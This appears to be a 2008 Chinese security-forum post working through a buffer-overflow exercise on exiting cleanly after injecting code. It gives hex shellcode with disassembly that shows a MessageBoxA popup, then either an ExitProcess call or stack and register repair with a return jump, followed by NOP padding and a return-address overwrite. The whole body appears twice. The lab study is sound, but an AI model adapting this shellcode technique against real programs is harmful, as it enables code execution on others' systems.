-
-
[讨论]4.4代码植入的安全退出
-
2008-7-30 19:19 3752
-
今天很有兴趣的做了一下这个东西。
分别用了ExitProcess退出,和修复堆栈和寄存器的两种方式。
1)对于exitProcess方式,就是在源码中添加了“LoadLibrary("kernel32.dll");”
然后通过查找绝对地址来让程序执行完MessagbeBoxA以后,执行exitprocess退出程序而不报其他的异常。
在实验的发现,缓冲区不够,于是抬高了栈顶0x34。
溢出的文件如下:
83EC 34 SUB ESP,34
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
53 PUSH EBX
B8 A2CA817C MOV EAX,kernel32.ExitProcess
FFD0 CALL EAX
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
=================================================
2)对于修复堆栈和寄存器让程序继续执行,也用的是硬编码的方式来实现
溢出的文件如下:
83EC 38 SUB ESP,38 //因为处理要多一点,所以栈顶抬高了一点
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
83C4 44 ADD ESP,44 //恢复ESP
8BEF MOV EBP,EDI //恢复EBP
81E9 42F4527C SUB ECX,7C52F442 //通过ECX的偏移值来JMP,原因是直接跳回去的地址是0040112B,“00”字符没有办法读进buffer。就用的这个硬编码的笨办法。
FFE1 JMP ECX
90 90 90 90 90 90 90 90 90 90 F0 FA 12
==========================================
以上两种方式,算是比较笨的搞了一下平衡。 希望牛牛们能多多批评,然后我好进一步提高。
分别用了ExitProcess退出,和修复堆栈和寄存器的两种方式。
1)对于exitProcess方式,就是在源码中添加了“LoadLibrary("kernel32.dll");”
然后通过查找绝对地址来让程序执行完MessagbeBoxA以后,执行exitprocess退出程序而不报其他的异常。
在实验的发现,缓冲区不够,于是抬高了栈顶0x34。
溢出的文件如下:
83EC 34 SUB ESP,34
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
53 PUSH EBX
B8 A2CA817C MOV EAX,kernel32.ExitProcess
FFD0 CALL EAX
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
=================================================
2)对于修复堆栈和寄存器让程序继续执行,也用的是硬编码的方式来实现
溢出的文件如下:
83EC 38 SUB ESP,38 //因为处理要多一点,所以栈顶抬高了一点
33DB XOR EBX,EBX
53 PUSH EBX
68 43617421 PUSH 21746143
68 4C617A79 PUSH 797A614C
8BC4 MOV EAX,ESP
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 EA04D577 MOV EAX,user32.MessageBoxA
FFD0 CALL EAX
83C4 44 ADD ESP,44 //恢复ESP
8BEF MOV EBP,EDI //恢复EBP
81E9 42F4527C SUB ECX,7C52F442 //通过ECX的偏移值来JMP,原因是直接跳回去的地址是0040112B,“00”字符没有办法读进buffer。就用的这个硬编码的笨办法。
FFE1 JMP ECX
90 90 90 90 90 90 90 90 90 90 F0 FA 12
==========================================
以上两种方式,算是比较笨的搞了一下平衡。 希望牛牛们能多多批评,然后我好进一步提高。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图
赞赏
雪币:
留言: